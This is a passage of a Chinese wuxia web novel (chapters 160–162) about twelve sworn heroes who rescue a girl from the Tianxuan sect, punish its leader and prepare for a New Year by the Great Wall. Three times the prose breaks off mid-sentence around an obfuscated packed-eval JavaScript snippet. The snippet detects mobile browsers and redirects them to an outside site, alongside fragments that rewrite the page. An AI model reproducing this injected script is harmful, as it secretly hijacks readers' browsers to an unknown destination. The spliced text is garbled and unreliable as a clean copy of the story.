其实四个女孩并没有彼此商量过一起来厨房,她们只是自发地想为今日晚饭做点什么,可每个人都没想到的是进了厨房后发现大家都在。 听映雪那么一说,江雨宁这个八尺多高的汉子,眼眶也有些发酸,“那好,那今日就一起来。但说好了,只此一次,总之我厨房里的活,你们四个女娃不许给我抢了。” 诗怡开着玩笑,“放心宁哥,我们不会让你失业的。” 江雨宁搓搓手,“那这么说,你们四个今天就由我支配了,对吗?” “正是。”四个女孩笑着齐声喊道。 江雨宁先看向映雪,“小雪,你把鱼帮我处理了。” “芷萱,你把牛肉帮我切了。玩暗器那么顺手,切牛肉应该不在话下吧?” “诗怡,帮宁哥一个忙,把萝卜、黄瓜都切成丝。” “慕瑶,那你就把蒜和葱洗了、剥了。” 慕瑶柔声一问:“宁哥,为何你分给我的工作那么简单呢?” 江雨宁粗声道:“慕瑶,工种不分大小,都很重要。你想啊,哪道菜里能少了葱和蒜啊?你今日刚醒来,如果累了就说话,不要硬撑着啊。” 慕瑶当然知道宁哥是在安慰自己,想想自己也确实是四个女孩中最不会做饭的一个,她抿抿嘴坦然接受了这份“光荣而艰巨”的任务。 做饭的那两个时辰里,厨房里尽是欢声笑语,就连平日话很少的映雪,那日都说笑了好一阵。 160. 第一百六十章 那天的晚饭异常的丰盛,摆满了长桌子,安然乐得直咽口水。 叶阳晨夸赞道:“宁哥今天受累了,做了这么多菜。” 江雨宁憨笑着:“小晨,别这么说,今天我是配角,主角是我们的女英雄,今日的菜大多都是她们做的。” 叶阳晨提起酒杯,“那好吧,那就由我们所有男的,举杯敬我们的巾帼女将。”慕瑶不准叶阳晨喝酒,所以他的酒杯里是茶水。 安然喜滋滋道:“哥哥,我也成了女将军吗?” “对,你是我们这里年龄最小的女将军。”叶阳晨哄着安然说道。 听哥哥这样说,安然伸手抓了烤鸡腿,自顾自地吃了起来。 十二个兄弟姐妹共饮了此杯,心情格外畅快。 酒过三巡,菜过五味,叶阳晨面色平静说道:“这次我能从鬼门关里回来,都是大家费尽心力。我叶阳晨何德何能,能有你们这些兄弟姐妹为我赴汤蹈火,大恩不言谢,在这里我以茶代酒,谢谢大家了。” 下面的兄弟姐妹纷纷喊话道:“自家兄弟说这些做什么…这么客气不拿我们当家人啊…你再这样说就罚酒啊…下次换你赴汤蹈火……” 叶阳晨不再多言,情义两字并非一言两语能道尽的,他只能将这份感动藏于心中。叶阳晨转换话题道:“过段日子,我们就十二兄弟要跨过长城远赴漠北了,希望出国后我们能凯旋而归。” 安然嘟着嘴,立即纠正道:“哥哥,你一说话就说十二人,总是漏算了安安,明明是我们十三个人的。”虽然十二将星里,安然有很多哥哥,但“哥哥”的这个称呼在安然心里是专属于叶阳晨的。 叶阳晨笑道:“是哥哥的错,哥哥总忘,漏了咱们安安了。” 安然眨了眨眼睛,撇了撇嘴,“下次你再忘,就不原谅你。” 众人皆笑。 叶阳晨先举起酒杯,“来,我们再干一杯,我们在此约定,我们十三个人一同出去,也要十三个人一起回来。” 听叶阳晨这样说,众人附和道:“肯定能…一定能…必须能……”兄弟们喊叫的声音此起彼伏。虽然他们说的那么爽快,但是每个人都心知肚明,打仗是难免有意外的。 叶阳晨正色道:“以后我们远离故土,就要长相守,共生死了……”话还没说完,他感觉自己的喉咙有点堵,他需要缓缓情绪再说。 所有都在望着叶阳晨,等着他要说出的话。 慕瑶也在心里纳闷叶阳晨为什么同往常有些不一样,在她心中,叶阳晨一直不是个懂得表达感情的人。 叶阳晨的眼里写满了情谊,“既然我们以后要生死与共了,不如我们十二个人正式结拜为兄弟吧?虽然我们十二个人早就视彼此为家人,但还是要有个仪式。” 话音一落,大家都有一丝惊讶,可随之每个人都乐得点头赞成,各人的眼角也都带着丝丝笑意。 安然突然打断道:“哥哥,为什么又是十二个人?刚刚我不是说过了嘛,你不能总落下我的。你们要结拜,我也要一起拜的。”安然这次是真的有点生气了,嘴巴翘得高高的。 叶阳晨笑着解释着:“安安,这次你可冤枉哥哥了。不是哥哥忘了你,而是无论拜与不拜,你本来就是我们大家的小妹妹,我就是你的哥哥,所以我们就不用结拜了。何况结拜是大人的事,小孩子不用结拜的。” “凭什么?我就要拜。为什么你们能拜?安安却不能?”话说完,安然生气地跑了出去。 大家以为安然是孩子心性,闹小孩子脾气而已,一会儿也就没事了,所以都没有太当回事。 翌日,十二将星来到旷野。虽说是冬天,但那日阳光和煦,微风轻柔,也便没有很冷。 旷野上摆着祭品和紫铜大香炉等所需物品,每人手里燃起了一柱香,然后面北而跪。之后,十二人分别划破手指,把血滴入一碗酒中,并以年龄长幼的顺序各饮了一小口。 叶阳晨领读着誓词,“苍天在上,厚土为证,今日吾等十二人义结金兰,日后患难相扶,生死与共,此生约守,誓不相违。” 叶阳晨每读一句,十二将星其他人就跟读一句。那些誓言慷慨激昂、情意绵长,回响在每个人的耳边,也铭刻在每个人的心里,让人终身难忘。 仪式结束后,叶阳晨从怀里掏出金币,郑重说道:“这些金币是当初叶归寺的德明方丈送给我的,他让我有一日把它们送给有缘人,我想今日就是最合适的机会了。这金币刚好有十二枚,而今日我们也正好集齐了十二个兄弟,这乃是天意。所以我把金币转赠给兄弟们,算是我们兄弟结拜的信物。” 众人将金币拿在手里,新奇地互相交换看着彼此金币上的图案。天界上,十二将星就是十二星座的守护神,来到凡世的他们以这样的形式归位。 十二人正欢喜着,而安然却站在远处的山坡上望着,委屈地掉下了眼泪。她并不是在乎那个结拜,只是在乎哥哥,怕哥哥不要自己了。 结拜后,众人返回了军营,但并没有见到安然的身影,大家还都以为她跑出去玩了,便没有在意。从前安然也经常在军营里到处乱跑,但她知道分寸,不会跑出去很远,吃饭的时候也会记得回来。 至晚饭的时候,四个女孩才觉得有点不对劲了,芷萱急着跑去找叶阳晨,“哥,不好了,安然不见了。” “昨日安然生气了,会不会是躲在哪个地方跟我们藏猫猫呢?” “藏什么猫猫?哥,安然都不见一天了,也没有回来午睡,一定是出了事。” 叶阳晨眉头一挑,“那赶快派人去找。” 芷萱派了几千人在营地四周到处寻找,至深夜依然没有寻到一丝安然的踪迹,但有士兵发现了一枚青铜五角星,五角星中央还刻有“天玄”两个字。 叶阳晨见到这枚五角星时,心里咯噔震颤了一下,旋即浑身冒出冷汗。这里有很多兄弟都常在江湖走动,对这个五星徽标是认得的。 慕瑶担心问道:“阳晨,你怎么了?脸色为何这么难看?” “果真是出事了,安然多半被天玄教的人抓走了。”叶阳晨沉声道。 话音一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14642435|125447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 落,许多兄弟姐妹都闻之变色。 叶阳晨看向胡枫,“胡哥,上次你和宁哥去天玄教没有暴露吧?” “绝对没有。” “那离开时也没被人跟踪?” 胡枫再次否定道:“应该也没有。” 叶阳晨思忖片刻后自言自语道:“我明白了,安荣应该是从蒙古人那里知道了杜星给我下了毒,而后又发现玉雪红参被盗了,才找到这里来了,到底还是我害了安然。” 还真是被叶阳晨猜中了,胡枫和雨宁盗红参离开的第二日,终于有人发现邓图被人杀死在自己屋中。得知邓图死了,安荣内心极为惶恐,便知山上混进了外人。一番排查,安荣发现天玄教至宝玉雪红参被盗。当安荣看见原本存放红参的小冰窖内竟然放着自己吃剩的夜宵,那一刻他的鼻子都快气歪了。 安荣知晓来盗玉雪红参的人,必定是用它来解毒,而能神不知鬼不觉把红参盗走的人也必定不是一般人物。他联想之前从那海那里得知,骁扬军统帅叶阳晨中了毒,便猜测盗宝之人多半是叶阳晨派来的,只是安荣还无法想通盗红参与邓图的死之间有何逻辑联系。 除了邓图的事,安荣还觉得整件事上哪个环节不对,只是一直没想出来。那日安荣刚躺下床,却忽地坐了起来。安荣终于想到,整个天玄教就没有几人知道玉雪红参放在何处,但有一人是知晓的,就是自己的侄女安然。他反复揣想:“难道安然在叶阳晨身边?” 如果只是玉雪红参被盗,安荣并不会去招惹叶阳晨,他自知即使自己想追回玉雪红参恐怕也来不及了。何况安荣知道自己的实力不是叶阳晨的对手,无论是在朝廷,还是在江湖上,叶阳晨都是惹不起的存在。可如果安荣发现了安然的踪迹,他却不能置之不理,他不能留着安然在这世上,必须斩草除根。 当即,安荣就派教里人秘密前去骁扬军营找寻安然,还再三叮嘱教徒务必躲在暗处,发现安然也要找准时机再动手。 …… 安然被劫走,十二将星个个心急如焚,七嘴八舌问着叶阳晨接下来该怎么办。 胡枫建议道:“阳晨,我们这些兄弟连夜出发,去夜探天玄教,把人给救出来。” “还夜探什么?安荣一直勾结蒙古人,还暗中资助那海粮草,我早就想收拾他了。只是我一直认为当下情形外敌当先,内奸为次,便没倒出空理他。可这个安荣找死,我没招惹他,他却找上门了。攘外必先安内也是对的,那我就先收拾安荣好了。”叶阳晨眼里燃烧出熊熊怒火,那抹狠厉几乎可以撕碎一切,“传我将令,立即召集十万将士西进,给我铲平天玄教。骅山上,除平民外,天玄教教众但凡抵抗,一个不留。” 帐内全体人皆朗声答应,心里想的是:“敢动十二将星的小妹妹,安荣真是找死。” 之后,所有军需物资稍作准备,十万大军就连夜出发了。这一次他们不仅要救出安然,还要荡平天玄教。 安然的安危要紧,八个男人骑快马先走一步赶去天玄教。四个女的在后面压阵,带着大军随后赶到。 161. 第一百六十一章 八个男人到了天玄教后,先暗查了一下安然被关的位置。他们搜便了骅山的各个角落,都没有找到安然。 胡枫忧心道:“阳晨,该找的地方都找过了,如果安然还活着的话,我猜安然多半被安荣关在承天殿的丹房里了。” 叶阳晨明白胡枫话里的意思,承天殿昼夜有人把守着,这样一来,如果要救安然的话,不惊动安荣恐怕是做不到的,但如果大张旗鼓地救人,他心中却有顾虑。 叶阳晨踱着步子,思虑良久才道:“首先,我们不能挑安荣在承天殿的时候行动,那样的话安荣闻到一点风吹草动就肯定会进暗室对安然不利,安然被挟持也就成了他的人质。” “再者,安荣不可能一时一刻都不走出承天殿,我们就挑他不在大殿的时候动手。我们这些男人打翻守在承天殿的那些护卫简直就是活动活动筋骨而已,只要我们进了承天殿就可以保护在安然身边了,那么接下来我们做什么都不会那么被动了。” “最重要的是,我们要挑准下手时机,要等到咱们的大部队到了骅山脚下后我们这里再动手,这样等到安荣召集人围攻我们的时候,我们就可以来个里应外合,让大部队强攻上山。届时,安荣肯定忙于守住天玄教,便无心顾及我们,如此便可减少我们守在承天殿抵抗的压力。” 小六附和道:“哥,好计划。” 叶阳晨深思熟虑,“小六,我看你和霍玉下山陪在她们四个女孩身边,慕瑶和诗怡武功底子薄,你们在的话,她们会安全一点。” 小六和霍玉齐声应喏,之后便下山等着与大军会和了。 三日后,骁扬军的那十万大军赶到了。尽管他们行军尽量隐蔽,还选择了在夜里集结在山脚下,但还是被天玄教山脚下的探子发现了。探子连忙跑上了山,去报告安荣这个消息。 此时安荣正在用早膳,手下突然闯进膳厅,他有些不快,“什么事这么慌慌张张的?” 探子一路跑上山,这会儿还喘着粗气,“教主,不好了,山脚下都是士兵。” “士兵?有什么大惊小怪的?” 探子张皇失措,“不是啊教主,是很多很多士兵,密密麻麻的,不知来了多少。” “很多士兵?过路的吧?”那海与丰国连年开战,安荣以为朝廷在调兵遣将。 “不…不…不像是过路的,都屯在…山脚下。” 安荣眉头紧锁,不敢再有任何掉以轻心,“传我命令,增派人手到山门。如果士兵攻山,给我全力抵抗。”安荣暗忖:“难道是叶阳晨来了?难道自己派出去的人劫掠安然时露了马脚?难道叶阳晨是为了抢回安然? 没有亲眼所见,安荣根本就没理解探子所说的很多士兵是多少,天玄教就不到三千人,想抵抗十万大军,简直就是蚍蜉撼树、以卵击石。 安荣给探子的命令刚下达完,承天殿的护卫就跑了进来,“不好了…教主…不好了。” 安荣有点不耐烦,“又怎么了?” “一群暴徒…闯进了承天殿。” 安荣神色突变,他清楚那所谓的暴徒,是有备而来,是为了抢走安然。安荣霍地站起来,“集结教中精锐把那些贼人给我灭杀在承天殿,一个不留。” “是!”护卫得了命令赶紧跑了出去。 安荣也无心再吃饭,他要去看看承天殿的情况。 另一边,叶阳晨已带着兄弟们进了承天殿。由于胡枫之前来过一次,所以他们很快就进了丹房。果然,安然被囚禁在这里。 安然被封住嘴,捆住手脚,看上去狼狈极了。她虽然说不了话,可看见叶阳晨的那一眼,安然眸里已闪起了涟涟波光。 叶阳晨跑过去,蹲下身来,把封在安然嘴上的布解开,又把她手脚上的绳子用匕首割断。安然“哇”的一声大哭出来,随即扑到叶阳晨怀里,“哥哥,安安害怕死了,你怎么才来呢?我还以为你不要安安了呢!” “哥哥怎么可能不要妹妹呢?都是哥哥不好,我来晚了。” 安然哭了一会儿,难过的情绪才稳住,然后又去跟其他哥哥抱了抱。 这时外边传来骚乱声,几个男人把丹房里的柜子移过来,挡住了暗门。外面天玄教的人怎么都推不开门,就只有守在外面。 胡枫靠坐在暗门那里,悠闲地对着外面喊话:“外面的,都省省力气逃命去吧,还有两个时辰,你们想走也走不成了。这是你们最后的机会啦,要珍惜啊。”胡枫也不管外面的人能不能听见,自己说得那个起劲。 丁鹏打趣道:“胡哥,你无不无聊啊?” “渡人的事乃是积德行善,我救人一命,胜造七级浮图。” 大家也都知道胡哥外向的性格,但听他那么自圆其说,还是跟着大笑起来。 胡枫看向叶阳晨,“小晨,我说你啊,这次太不厚道了。人家这整个教里才两千多人,你一下子就带了十万人来,简直是杀鸡用牛刀,这不是欺负人家吗?好像我们有点胜之不武啊!” 叶阳晨脸上绽出淡淡的笑,但笑中含着一抹勇狠,“就是要欺负他们,这个邪教还敢勾搭外敌,这是我最不能忍的。我就要派这么多人,用摧枯拉朽的方式击败这些乌合之众,也要以碾压式的做法毁灭天玄教的根基,哪怕有一天他们天玄教死灰复燃也不敢再卖国。我也要告诉武林,这个江湖始终是汉人的江湖。” 胡枫坏笑,“小晨,你说的这些我信,但是我还是觉得你有点泄私愤的意思,还有点‘假公济私’的味道。” “这些人都是叛徒,是卖国贼,所以我并未徇私。如果胡哥一定要说我有点私心的话,那么就是我喜欢江湖人的快意恩仇,不喜欢有一丝一毫的拖泥带水。”说完,叶阳晨坏坏一笑。 过了一会儿,外面传来叫喊声、厮杀声、打斗声,暗室里的众兄弟知道是骁扬大军上山了。一声声惨叫,就能知道天玄教被血洗了数遍,不过卖国贼是不值得同情的。 叶阳晨与众兄弟们在这间暗室里等了两个时辰,外面终于没有了一丝打斗的声音。当外面传来小六的叫声,叶阳晨才打开暗门,带着众人走出了承天殿。 大殿外的台阶上躺着横七竖八的尸体,玉阶上的鲜血也已有些凝结。霍玉刚刚还俗不久,见到这血腥的场面还是会微微感到不适。 小六与叶阳晨汇报情况:“哥,天玄教众大抵被剿灭,只有不足两百人主动投降,态度诚恳,声称不愿与安荣同流合污,我们才给他们留了活口。” “安荣呢?” “关押在偏殿。” 叶阳晨正色道:“我就带着安然一个人去看看,你们都留在这里吧。” 走进偏殿殿门,叶阳晨见安荣被捆在殿内左侧的柱子那里,他一挥手,士兵会意都退出殿外。安然有点抗拒,一直往叶阳晨的身后躲。叶阳晨牵着安然的手朝着安荣走过去,边走边道:“安安别怕,有哥哥在,没有人敢欺负你。” 虽然叶阳晨这样哄着安然,但安然走路的时候还是有些怯懦。叶阳晨拉着安然来到距安荣五尺左右的距离,安然便怎么都不肯上前了。 叶阳晨也不强迫安然,只是看着安荣,平静道:“安荣,死之前还有什么想说的吗?” 听叶阳晨这么说,安荣感觉到这话语里的威胁,也像是最后通牒,于是他原本还算淡定的面部神情开始变得扭曲,“叶帅,我不想死,你放了我?留我一条命?” 叶阳晨一脸鄙夷,“你好歹做了几日这天玄教的教主,怎么一点傲骨都没有啊?即使你不敢慷慨赴死,也不至于这个熊样啊?” 面对死的问题,安荣也顾不得体面了,“骁将军,哦不,叶将军,你说什么都行,就是饶我一命。” 叶阳晨不疾不徐道:“你有两件事不可饶,不可原谅。第一件,数典忘祖、卖国求荣。你生在长在这片热土上,却不知廉耻地抛弃你的根,勾结蒙古人,你也算个人?” “至于第二件事……”话说到一半,叶阳晨看向安然,“安然,面前的这个人,你还认识吗?” “认识,他就是害死我爹爹的坏叔叔。”安然的声音总是那么清脆悦耳。 叶阳晨温柔问道:“那你想不想为你爹爹报仇?” 安然绷着脸,眼含泪光,“想!” 叶阳晨宠溺地看着安然,“那好,哥哥就听你的。” 叶阳晨再次看向安荣,“你也听到了,你侄女也不想留着你。”说完,叶阳晨从怀里掏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14666949|125447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出一瓶毒药,放在了安荣面前刚好他能拿到的位置,“当着安安的面,我不想把场面弄得太血腥,还是你自己了结吧。如果一盏茶的功夫你还是没有动手,那么我就亲自动手,让你身首异处。” 叶阳晨轻轻揉了揉安然的头,“好啦,我的妹妹,我们走吧。” 望着叶阳晨离去的背影,安荣非常后悔招惹了叶阳晨,如果不是自己非派人把安然抢回天玄教,也不会招来杀身之祸,只是现在后悔也晚了。反正怎么都是一死,安荣还是想给自己留个全尸,于是整整一瓶毒药都喝了下去。 安荣死后,天玄教意味着群龙无首。虽然教内只剩下两百人了,但天玄教百年的根基仍在,广布四方的教徒也很多,要是骅山再被恶人掌权则后患无穷,所以叶阳晨还是要过问一下后续继任者的问题。 在教里的幸存者中,有两名护法长老还活着,他们都是安然父亲安龙忠实的拥趸。只是安荣上位后,两人为活命,不得不明哲保身。蝼蚁尚且贪生,这也是人之常情,叶阳晨也能理解他们。 两位长老得知老教主的遗孤尚在人世,一致推选安然为新教主。叶阳晨微微一想,也觉得这是个不错的提议,因为如果安然做了新任教主,也就意味着她从此不必再过漂泊流浪的日子了,也能让安然有个安稳的归宿。 那日,十二将星都聚在承天殿内商量安然的去处,大家也赞同叶阳晨的想法。 小雪建议还是把安然找过来问一下,也要尊重孩子的想法。 诗怡把安然领了进来,叶阳晨走上前去问道:“安安,骅山是你自小长大的地方,你一定对这里很有感情,对吗?” “对啊。”安然瞪大了眼睛说着。 叶阳晨继续问着:“留下来可好?” “那哥哥也陪着安然一起留下来吗?” “安安自己一个人留下。你忘了?哥哥还要去打蒙古人的。哥哥可以打完蒙古人后再回来陪你。” 安然噘起小嘴,“那安安也不要留下来了。” 叶阳晨展颜笑问:“安安留下来做教主不好吗?” “不好。”安然倏忽一笑,星眸闪亮,“安安不想做教主,安安只想做哥哥的妹妹。” “跟着哥哥四处行军很辛苦的。” 安然小脸执拗着,“可安安不怕辛苦,只要在哥哥身边就不辛苦。” 叶阳晨一脸宠爱地望着安然,既然她不愿留在天玄教,叶阳晨也便不再强求。 安然怕叶阳晨像从前那样丢下自己,便追问着:“哥哥,你答应安安了没?” 叶阳晨揉了揉安然的头,“答应带你走了。” “哦,哥哥答应带我走了。”安然雀跃地跳了起来,也跑去拽十二将星其他人的胳膊和衣袖。 当安然跑到江雨宁面前时,她突然停住脚步,神情也随之凝滞,“宁哥,你跟我来,我带你去个地方。” 听安然这样说,江雨宁面色微滞,可他正愣神的功夫便被安然拉着走出大殿。 路上,江雨宁发问着:“安安,你要带我去哪儿啊?” 安然神秘说道:“我要带你去见一个人。” “谁啊?” “我想要带你去厨房见见我刁娆姐,我告诉你呦,我刁娆姐的厨艺不亚于你的。宁哥,你要是有兴致的话,还可以跟她比比厨艺的。你们俩做的烤鸡腿都很好吃,你们见了面一定有许多话可以聊的。”离开天玄教的这一年多以来,安然还是心心念念想着刁娆的。在天玄教里,除了父母外,安然感情最深的就是刁娆了。她们姐妹之间的感情向来很好,刁娆也总是做各种美食给安然吃。 说起来,安然当初逃离天玄教,也是刁娆帮着她逃走的。在刁娆每日待的厨房内有一条长长的密道,可以直接逃出天玄教的山门来到骅山的半山腰。如果不是因有母亲在山上,刁娆那次就跟着安然一起逃了,或者说她至少会把安然护送到一个安全的地方。 听安然这么一说,江雨宁激动的心倏地跳到嗓子眼,他也想立刻见到刁娆。自从再次踏上骅山,江雨宁就恨不得马上去找刁娆,只是救安然的事最紧急,他就只有暂时放下那份思念。江雨宁没想到,竟会由安然带着自己去见刁娆。 162. 第一百六十二章 江雨宁是那样想马上告诉刁娆自己这次来就是要带她走的,他也终于可以挺直腰杆地站在刁娆面前,告诉她自己不是感情骗子,自己是来信守诺言的。江雨宁甚至在脑海里幻想着两人重逢的情景,他还决定见面后给刁娆一个大大的拥抱。 江雨宁笑问:“安安,你很喜欢你刁娆姐?” “那当然,她是天底下最好的人。” 江雨宁故意问道:“我怎么听说她很凶呢?” “那是对别人,刁娆姐对我特别温和的。” 两人说着,就来到了厨房。虽然没有多久,但江雨宁再回到这里竟有种恍如隔世的感觉。 他们进了厨房的门,那些厨子都齐齐转过身来,看见竟然是安然回来了,那些厨子个个惊愕。众人都瞠目结舌道:“小姐…你是什么时候回来的…你真的平安回来了……”而且更令众人错愕的是,那个傻大个怎么和小姐站在一起,只是大家不敢多嘴问。 安然语气欢快道:“你们大家都好吗?”安然喜欢美食,所以以前她是这里的常客,她与这些厨人也都很熟悉。 “托小姐的福…都好…我们都好……”那些厨人异口同声地回答着。 那些厨工重新见到安然都惊掉了下巴,所以一时没腾出嘴来与江雨宁说话,其实大家看到这个“傻大个”又回来了也是有些讶然的,毕竟他们与江雨宁相处了几日的。 矮胖厨子先凑过来,“傻大个,你前阵子去哪儿了?我们还以为你不回来了呢。” “哦,我家里有点急事,回去处理一下。” 安然突然打断道:“我刁娆姐呢?今日没来厨房吗?” 提到刁娆,众人神色忽地颓然。 安然皱着眉头问道:“你们这是怎么了?怎么都垂头丧气的?是出了什么事吗?” 江雨宁毕竟是大人,比刁娆还要更敏感一些,他有一种很不好的预感。 矮胖子难过地支吾道:“刁娆走了。” “走了?她去哪儿了?她为什么会走?”江雨宁有些惊慌失措,也就顾不得自己的言行了。 矮胖子一脸茫然,“我们也不清楚具体实情,只知她消失的第二日,教主安荣派了近护卫来捉她,说我们天玄教来了贼人,厨房里有细作,而刁娆就是同党。” 安然也跑过来扯住矮胖子的手臂,“刁娆姐还回不回来?” 矮胖子无奈道:“这个我们就不得而知了,她走的时候甚至没有跟我们告别。” 江雨宁感到五脏俱痛,他觉得还是自己害了刁娆。心痛的同时,江雨宁倍感失落,他原以为分别不过数日,谁知故地再来已不见人。 刁娆是偶然听到有人说安荣要捉她去审问,所以才连夜带着母亲从密道下了山。她的母亲腿脚不灵便,逃亡时刁娆就一路背着母亲,累得她满头大汗。 刁娆是那么不舍得离开骅山,但为了保命,她也只能如此。如果说从前刁娆不愿离开,只是因为这里是她的“家”,那么今日她不想离开就多了一个原因,就是等江雨宁来,在刁娆内心深处,还是相信江雨宁是重信守诺之人的,也相信他一定会来接她,然后再明媒正娶自己的。正是因为如此,刁娆走的时候是那样遗憾。 安然毕竟是个孩子,她没有见到刁娆虽然也失望,但是隔了一会儿也就淡忘了。可江雨宁就不同了,他心底凉透了,整日都失魂落魄的。与刁娆的“错过”简直成了江雨宁的心病,他不知什么时候能再见刁娆,也不知还能不能再见到刁娆。 见宁哥情绪一直不高,叶阳晨猜到了原因,那日他找到机会便安慰道:“宁哥,有缘自会再相见的,只是时候还未到罢了。” 话虽如此,但是对江雨宁而言,接受这个现实是非常难的。他只能寄希望于上天再给他一次机会,让他与刁娆在将来的某一日重逢,那么他不会再错过携手的机会了。 在骅山上又住了三日后,叶阳晨就领着众兄弟及全体士兵离开了。天玄教教中大小事务暂由两位长老代理,安然这个名副其实的教主反倒是万事不管,成了最轻松的人。 从天玄教回来后,叶阳晨考虑到十万将士走这一趟身体都有些疲顿,就让部队又休整了几日,这才率大军开拔,奔赴长城。 又过了十来日,骁扬军来到长城脚下,很多人都是第一次见到长城,无不惊叹于它的雄伟壮观。 那日,叶阳晨穿着战甲站在长城之上,冷风拂面,长袍飞扬,他极目向北远眺,天地远阔、戈壁苍茫,令他放佛听见辽远历史中金戈铁马的声音。叶阳晨感觉胸中的豪情被点燃,那温度一点一滴蔓延周身,直至心是热的,血是烫的。 虽然只是一道跨过长城,但跨过它,就是异族他乡了。想到不久就要过农历新年了,叶阳晨体谅自己的兵,决定年前暂时不跃过长城,让所有将士在自己的国家好好过个年。有些感觉是心里上的,不仅是叶阳晨,就连全体士兵都觉得只要还在长城以南,就还算是待在“家”里,心就是暖的,就是踏实的,可一旦走出去了,就真的会有异国的孤独感了。 那日开完军事会议,叶阳晨跟着十一个兄弟姐妹开起玩笑,“还有几日就过除夕了,这个年大家准备怎么过啊?” 众人都不明白叶阳晨话里的意思,个个面面相觑。 慕瑶在一旁笑着接话,“你是不是又有什么鬼主意了?” 江雨宁爽朗一笑,“过年嘛,当然是要杀猪宰羊、喝酒吃肉。” 胡枫兴奋笑着,“咱们这么多人在一起过年,真好,真热闹。” 丁鹏也开起玩笑,“哥,你要把新年红封给大家发一发。” 叶阳晨看向丁鹏,“张嘴就要利是,你俗不俗?” “这有什么好俗的?以前你年年都给我,这两年拖着不给了。” “臭小子,今年我都给你补齐,行了吧?” 凌牧云插话道:“晨哥,听者有份啊。” “哥,你就不包给他。”芷萱带着丝怒气说道。 叶阳晨打趣道:“萱萱,大过年的还欺负人家牧云,我都快看不下去。” 胡枫接话,“小晨,你才看不下去啊?我早就看不下去了。” 宁哥也附和道:“我也证明,萱丫头总是欺负牧云。”叶阳晨憋着坏说道:“牧云,你别担心你的红包,我今年把芷萱的那份也包给你收着。” 芷萱不明所以,“哥,凭什么我的红封你要给他?” 叶阳晨玩味一笑,“你说为什么?当然是有深意啊。” 胡哥上演神助攻,“好像只有一家人才能代替收红包吧?” 安然上演神配合,“一家人?萱姐姐和云哥哥什么时候成一家人的?我怎么不知道?” 童言无忌,众人一听都“哈哈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14679623|125447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”大笑起来,牧云不是那种开不起玩笑的人,他反倒站起身拱拳道:“还是哥哥好,我在这儿谢谢了。” 芷萱难得落了下风,羞得红了脸。映雪在她身旁低声道:“看吧,自作自受吧?让你少挤兑牧云,你又不听。你看到了吧?大家都向着牧云说话,你占不到任何便宜的。” 大家不敢说出来的话,被安然说了,叶阳晨夸赞道:“安安,你问的问题好,真乖,哥哥要奖励你。” 安然单纯地笑着拍手,“哥哥,你要是奖励我的话,我过年想要放烟花,你给我做一些,好吗?” 叶阳晨莞尔,“安安,哥哥是可以做,但你猜我们这里谁做的烟花最漂亮?” 安然眼睛一转,“是映雪姐对不对?”安然在军营待得久了,对十二将星每个人都了解些了,她知道这些人中懂得最多,会的最多的就是温映雪。 见安然孩子气的样子,温映雪嘴角微微勾起。安然突然跑过去,扑到她的怀里。 叶阳晨继续说道:“我看这样,一年三百六十五天,都是宁哥给我们做吃的。过年了,我们也给宁哥放个小假,让他稍稍轻松一点。不如我们每个人做一道菜,最后凑成一桌菜怎么样?” 此话一出,大家都热闹地聊起来,他们都觉得这个主意好。做的好坏其实并不重要,只要大家都参与,都出一份力,也会让这个年过的更有氛围感。 叶阳晨补充道:“总之,我们不管做的难吃还是好吃,大家各显神通就好。” 他们这些人,不是小姐就是少爷,真正草根贫民出身的人不多。不要说做饭,很多人连厨房都没进去过。 叶阳晨见很多人面露难色,遂开起玩笑,“我定个规矩啊,无论做好做坏,无论会不会做,每个人都必须做一道菜。而且我先说好了,如果到除夕那天,哪个兄弟妹妹做不出来菜,必须罚酒二十大碗。此是“军令”,并非戏言,到时候谁也不准求情。” 众人一听皆心里没底,主要是怕到时候做得太难吃而丢脸。 宁哥憨厚一笑,“阳晨,我看就别为难大家了,有些个兄弟根本就不会做菜,要不还是都由我来做吧?我不累的。” 诗怡俏皮地眨了眨眼,“宁哥,你这样会惯坏他们的。” 胡哥调侃,“他们是谁啊?包不包括你啊?” 诗怡努着嘴,“哼,本姑娘肯定到时候现学现卖。” 安然举起手,“我是小孩子,不用做的,我只负责吃,你们谁来做烤鸡腿啊?” 胡枫冲着安然竖了个大拇指,“还是你厉害,你的哥哥对你太偏心了。” 安然侧着脑袋,满脸得意。映雪摸了摸她的头,尽是宠爱。 会议结束后,大家就各自准备去了,索性还有好多天才过年,时间是来得及的。 由于叶阳晨先后拿回北都城,收复平朔九州,献帝整日眉开眼笑的。于是临近过年,献帝便命钦差给骁扬军送去许多好酒好肉,这会儿军营里各种食材是应有尽有。 